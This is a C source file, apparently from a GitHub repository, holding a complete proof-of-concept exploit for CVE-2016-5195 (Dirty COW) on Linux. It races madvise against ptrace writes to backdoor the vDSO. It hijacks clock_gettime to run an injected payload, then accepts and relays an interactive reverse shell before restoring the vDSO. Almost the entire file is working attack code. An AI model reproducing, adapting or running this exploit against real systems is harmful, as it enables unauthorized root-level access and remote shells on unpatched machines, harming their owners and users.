-
Notifications
You must be signed in to change notification settings - Fork 145
/
0xdeadbeef.c
676 lines (551 loc) · 13.1 KB
/
0xdeadbeef.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
/*
* CVE-2016-5195 POC
* -scumjr
*/
#define _GNU_SOURCE
#include <err.h>
#include <poll.h>
#include <errno.h>
#include <sched.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/auxv.h>
#include <sys/mman.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include "payload.h"
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PATTERN_IP "\xde\xc0\xad\xde"
#define PATTERN_PORT "\x37\x13"
#define PATTERN_PROLOGUE "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define PAYLOAD_IP INADDR_LOOPBACK
#define PAYLOAD_PORT 1234
#define LOOP 0x10000
#define VDSO_SIZE (2 * PAGE_SIZE)
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))
typedef unsigned int uint32_t;
typedef unsigned long uint64_t;
struct vdso_patch {
unsigned char *patch;
unsigned char *copy;
size_t size;
void *addr;
};
struct payload_patch {
const char *name;
void *pattern;
size_t pattern_size;
void *buf;
size_t size;
};
struct prologue {
char *opcodes;
size_t size;
};
struct mem_arg {
void *vdso_addr;
bool do_patch;
bool stop;
unsigned int patch_number;
};
static char child_stack[8192];
static struct vdso_patch vdso_patch[2];
static struct prologue prologues[] = {
/* push rbp; mov rbp, rsp; lfence */
{ "\x55\x48\x89\xe5\x0f\xae\xe8", 7 },
/* push rbp; mov rbp, rsp; push r14 */
{ "\x55\x48\x89\xe5\x41\x57", 6 },
/* push rbp; mov rbp, rdi; push rbx */
{ "\x55\x48\x89\xfd\x53", 5 },
/* push rbp; mov rbp, rsp; xchg rax, rax */
{ "\x55\x48\x89\xe5\x66\x66\x90", 7 },
/* push rbp; cmp edi, 1; mov rbp, rsp */
{ "\x55\x83\xff\x01\x48\x89\xe5", 7 },
};
static int writeall(int fd, const void *buf, size_t count)
{
const char *p;
ssize_t i;
p = buf;
do {
i = write(fd, p, count);
if (i == 0) {
return -1;
} else if (i == -1) {
if (errno == EINTR)
continue;
return -1;
}
count -= i;
p += i;
} while (count > 0);
return 0;
}
static void *get_vdso_addr(void)
{
return (void *)getauxval(AT_SYSINFO_EHDR);
}
static int ptrace_memcpy(pid_t pid, void *dest, const void *src, size_t n)
{
const unsigned char *s;
unsigned long value;
unsigned char *d;
d = dest;
s = src;
while (n >= sizeof(long)) {
memcpy(&value, s, sizeof(value));
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
}
n -= sizeof(long);
d += sizeof(long);
s += sizeof(long);
}
if (n > 0) {
d -= sizeof(long) - n;
errno = 0;
value = ptrace(PTRACE_PEEKTEXT, pid, d, NULL);
if (value == -1 && errno != 0) {
warn("ptrace(PTRACE_PEEKTEXT)");
return -1;
}
memcpy((unsigned char *)&value + sizeof(value) - n, s, n);
if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
warn("ptrace(PTRACE_POKETEXT)");
return -1;
}
}
return 0;
}
static int patch_payload_helper(struct payload_patch *pp)
{
unsigned char *p;
p = memmem(payload, payload_len, pp->pattern, pp->pattern_size);
if (p == NULL) {
fprintf(stderr, "[-] failed to patch payload's %s\n", pp->name);
return -1;
}
memcpy(p, pp->buf, pp->size);
p = memmem(payload, payload_len, pp->pattern, pp->pattern_size);
if (p != NULL) {
fprintf(stderr,
"[-] payload's %s pattern was found several times\n",
pp->name);
return -1;
}
return 0;
}
/*
* A few bytes of the payload must be patched: prologue, ip, and port.
*/
static int patch_payload(struct prologue *p, uint32_t ip, uint16_t port)
{
int i;
struct payload_patch payload_patch[] = {
{ "port", PATTERN_PORT, sizeof(PATTERN_PORT)-1, &port, sizeof(port) },
{ "ip", PATTERN_IP, sizeof(PATTERN_IP)-1, &ip, sizeof(ip) },
{ "prologue", PATTERN_PROLOGUE, sizeof(PATTERN_PROLOGUE)-1, p->opcodes, p->size },
};
for (i = 0; i < ARRAY_SIZE(payload_patch); i++) {
if (patch_payload_helper(&payload_patch[i]) == -1)
return -1;
}
return 0;
}
/* make a copy of vDSO to restore it later */
static int save_orig_vdso(void)
{
struct vdso_patch *p;
int i;
for (i = 0; i < ARRAY_SIZE(vdso_patch); i++) {
p = &vdso_patch[i];
p->copy = malloc(p->size);
if (p->copy == NULL) {
warn("malloc");
return -1;
}
memcpy(p->copy, p->addr, p->size);
}
return 0;
}
static int build_vdso_patch(void *vdso_addr, struct prologue *prologue)
{
uint32_t clock_gettime_offset, target;
unsigned long clock_gettime_addr;
unsigned char *p, *buf;
uint64_t entry_point;
int i;
/* e_entry */
p = vdso_addr;
entry_point = *(uint64_t *)(p + 0x18);
clock_gettime_offset = (uint32_t)entry_point & 0xfff;
clock_gettime_addr = (unsigned long)vdso_addr + clock_gettime_offset;
/* patch #1: put payload at the end of vdso */
vdso_patch[0].patch = payload;
vdso_patch[0].size = payload_len;
vdso_patch[0].addr = (unsigned char *)vdso_addr + VDSO_SIZE - payload_len;
p = vdso_patch[0].addr;
for (i = 0; i < payload_len; i++) {
if (p[i] != '\x00') {
fprintf(stderr, "failed to find a place for the payload\n");
return -1;
}
}
/* patch #2: hijack clock_gettime prologue */
buf = malloc(sizeof(PATTERN_PROLOGUE)-1);
if (buf == NULL) {
warn("malloc");
return -1;
}
/* craft call to payload */
target = VDSO_SIZE - payload_len - clock_gettime_offset;
memset(buf, '\x90', sizeof(PATTERN_PROLOGUE)-1);
buf[0] = '\xe8';
*(uint32_t *)&buf[1] = target - 5;
vdso_patch[1].patch = buf;
vdso_patch[1].size = prologue->size;
vdso_patch[1].addr = (unsigned char *)clock_gettime_addr;
save_orig_vdso();
return 0;
}
static int backdoor_vdso(pid_t pid, unsigned int patch_number)
{
struct vdso_patch *p;
p = &vdso_patch[patch_number];
return ptrace_memcpy(pid, p->addr, p->patch, p->size);
}
static int restore_vdso(pid_t pid, unsigned int patch_number)
{
struct vdso_patch *p;
p = &vdso_patch[patch_number];
return ptrace_memcpy(pid, p->addr, p->copy, p->size);
}
/*
* Check if vDSO is entirely patched. This function is executed in a different
* memory space thanks to fork(). Return 0 on success, 1 otherwise.
*/
static void check(struct mem_arg *arg)
{
struct vdso_patch *p;
void *src;
int i, ret;
p = &vdso_patch[arg->patch_number];
src = arg->do_patch ? p->patch : p->copy;
ret = 1;
for (i = 0; i < LOOP; i++) {
if (memcmp(p->addr, src, p->size) == 0) {
ret = 0;
break;
}
usleep(100);
}
exit(ret);
}
static void *madviseThread(void *arg_)
{
struct mem_arg *arg;
arg = (struct mem_arg *)arg_;
while (!arg->stop) {
if (madvise(arg->vdso_addr, VDSO_SIZE, MADV_DONTNEED) == -1) {
warn("madvise");
break;
}
}
return NULL;
}
static int debuggee(void *arg_)
{
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) == -1)
err(1, "prctl(PR_SET_PDEATHSIG)");
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1)
err(1, "ptrace(PTRACE_TRACEME)");
kill(getpid(), SIGSTOP);
return 0;
}
/* use ptrace to write to read-only mappings */
static void *ptrace_thread(void *arg_)
{
int flags, ret2, status;
struct mem_arg *arg;
pid_t pid;
void *ret;
arg = (struct mem_arg *)arg_;
flags = CLONE_VM|CLONE_PTRACE;
pid = clone(debuggee, child_stack + sizeof(child_stack) - 8, flags, arg);
if (pid == -1) {
warn("clone");
return NULL;
}
if (waitpid(pid, &status, __WALL) == -1) {
warn("waitpid");
return NULL;
}
ret = NULL;
while (!arg->stop) {
if (arg->do_patch)
ret2 = backdoor_vdso(pid, arg->patch_number);
else
ret2 = restore_vdso(pid, arg->patch_number);
if (ret2 == -1) {
ret = NULL;
break;
}
}
if (ptrace(PTRACE_CONT, pid, NULL, NULL) == -1)
warn("ptrace(PTRACE_CONT)");
if (waitpid(pid, NULL, __WALL) == -1)
warn("waitpid");
return ret;
}
static int exploit_helper(struct mem_arg *arg)
{
pthread_t pth1, pth2;
int ret, status;
pid_t pid;
fprintf(stderr, "[*] %s: patch %d/%ld\n",
arg->do_patch ? "exploit" : "restore",
arg->patch_number + 1,
ARRAY_SIZE(vdso_patch));
/* run "check" in a different memory space */
pid = fork();
if (pid == -1) {
warn("fork");
return -1;
} else if (pid == 0) {
check(arg);
}
arg->stop = false;
pthread_create(&pth1, NULL, madviseThread, arg);
pthread_create(&pth2, NULL, ptrace_thread, arg);
/* wait for "check" process */
if (waitpid(pid, &status, 0) == -1) {
warn("waitpid");
return -1;
}
/* tell the 2 threads to stop and wait for them */
arg->stop = true;
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
/* check result */
ret = WIFEXITED(status) ? WEXITSTATUS(status) : -1;
if (ret == 0) {
fprintf(stderr, "[*] vdso successfully %s\n",
arg->do_patch ? "backdoored" : "restored");
} else {
fprintf(stderr, "[-] failed to win race condition...\n");
}
return ret;
}
/*
* Apply vDSO patches in the correct order.
*
* During the backdoor step, the payload must be written before hijacking the
* function prologue. During the restore step, the prologue must be restored
* before removing the payload.
*/
static int exploit(struct mem_arg *arg, bool do_patch)
{
unsigned int i;
int ret;
ret = 0;
arg->do_patch = do_patch;
for (i = 0; i < ARRAY_SIZE(vdso_patch); i++) {
if (do_patch)
arg->patch_number = i;
else
arg->patch_number = ARRAY_SIZE(vdso_patch) - i - 1;
if (exploit_helper(arg) != 0) {
ret = -1;
break;
}
}
return ret;
}
static int create_socket(uint16_t port)
{
struct sockaddr_in addr;
int enable, s;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1) {
warn("socket");
return -1;
}
enable = 1;
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)) == -1)
warn("setsockopt(SO_REUSEADDR)");
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = port;
if (bind(s, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
warn("failed to bind socket on port %d", ntohs(port));
close(s);
return -1;
}
if (listen(s, 1) == -1) {
warn("listen");
close(s);
return -1;
}
return s;
}
/* interact with reverse connect shell */
static int yeah(struct mem_arg *arg, int s)
{
struct sockaddr_in addr;
struct pollfd fds[2];
socklen_t addr_len;
char buf[4096];
nfds_t nfds;
int c, n;
fprintf(stderr, "[*] waiting for reverse connect shell...\n");
addr_len = sizeof(addr);
while (1) {
c = accept(s, (struct sockaddr *)&addr, &addr_len);
if (c == -1) {
if (errno == EINTR)
continue;
warn("accept");
return -1;
}
break;
}
close(s);
fprintf(stderr, "[*] enjoy!\n");
if (fork() == 0) {
if (exploit(arg, false) == -1)
fprintf(stderr, "[-] failed to restore vDSO\n");
exit(0);
}
fds[0].fd = STDIN_FILENO;
fds[0].events = POLLIN;
fds[1].fd = c;
fds[1].events = POLLIN;
nfds = 2;
while (nfds > 0) {
if (poll(fds, nfds, -1) == -1) {
if (errno == EINTR)
continue;
warn("poll");
break;
}
if (fds[0].revents == POLLIN) {
n = read(STDIN_FILENO, buf, sizeof(buf));
if (n == -1) {
if (errno != EINTR) {
warn("read(STDIN_FILENO)");
break;
}
} else if (n == 0) {
break;
} else {
writeall(c, buf, n);
}
}
if (fds[1].revents == POLLIN) {
n = read(c, buf, sizeof(buf));
if (n == -1) {
if (errno != EINTR) {
warn("read(c)");
break;
}
} else if (n == 0) {
break;
} else {
writeall(STDOUT_FILENO, buf, n);
}
}
}
return 0;
}
static struct prologue *fingerprint_prologue(void *vdso_addr)
{
unsigned long clock_gettime_addr;
uint32_t clock_gettime_offset;
uint64_t entry_point;
struct prologue *p;
int i;
/* e_entry */
entry_point = *(uint64_t *)((unsigned char *)vdso_addr + 0x18);
clock_gettime_offset = (uint32_t)entry_point & 0xfff;
clock_gettime_addr = (unsigned long)vdso_addr + clock_gettime_offset;
for (i = 0; i < ARRAY_SIZE(prologues); i++) {
p = &prologues[i];
if (memcmp((void *)clock_gettime_addr, p->opcodes, p->size) == 0)
return p;
}
return NULL;
}
/*
* 1.2.3.4:1337
*/
static int parse_ip_port(char *str, uint32_t *ip, uint16_t *port)
{
char *p;
int ret;
str = strdup(str);
if (str == NULL) {
warn("strdup");
return -1;
}
p = strchr(str, ':');
if (p != NULL && p[1] != '\x00') {
*p = '\x00';
*port = htons(atoi(p + 1));
}
ret = (inet_aton(str, (struct in_addr *)ip) == 1) ? 0 : -1;
if (ret == -1)
warn("inet_aton(%s)", str);
free(str);
return ret;
}
int main(int argc, char *argv[])
{
struct prologue *prologue;
struct mem_arg arg;
uint16_t port;
uint32_t ip;
int s;
ip = htonl(PAYLOAD_IP);
port = htons(PAYLOAD_PORT);
if (argc > 1) {
if (parse_ip_port(argv[1], &ip, &port) != 0)
return EXIT_FAILURE;
}
fprintf(stderr, "[*] payload target: %s:%d\n",
inet_ntoa(*(struct in_addr *)&ip), ntohs(port));
arg.vdso_addr = get_vdso_addr();
if (arg.vdso_addr == NULL)
return EXIT_FAILURE;
prologue = fingerprint_prologue(arg.vdso_addr);
if (prologue == NULL) {
fprintf(stderr, "[-] this vDSO version isn't supported\n");
fprintf(stderr, " add first entry point instructions to prologues\n");
return EXIT_FAILURE;
}
if (patch_payload(prologue, ip, port) == -1)
return EXIT_FAILURE;
if (build_vdso_patch(arg.vdso_addr, prologue) == -1)
return EXIT_FAILURE;
s = create_socket(port);
if (s == -1)
return EXIT_FAILURE;
if (exploit(&arg, true) == -1) {
fprintf(stderr, "exploit failed\n");
return EXIT_FAILURE;
}
yeah(&arg, s);
return EXIT_SUCCESS;
}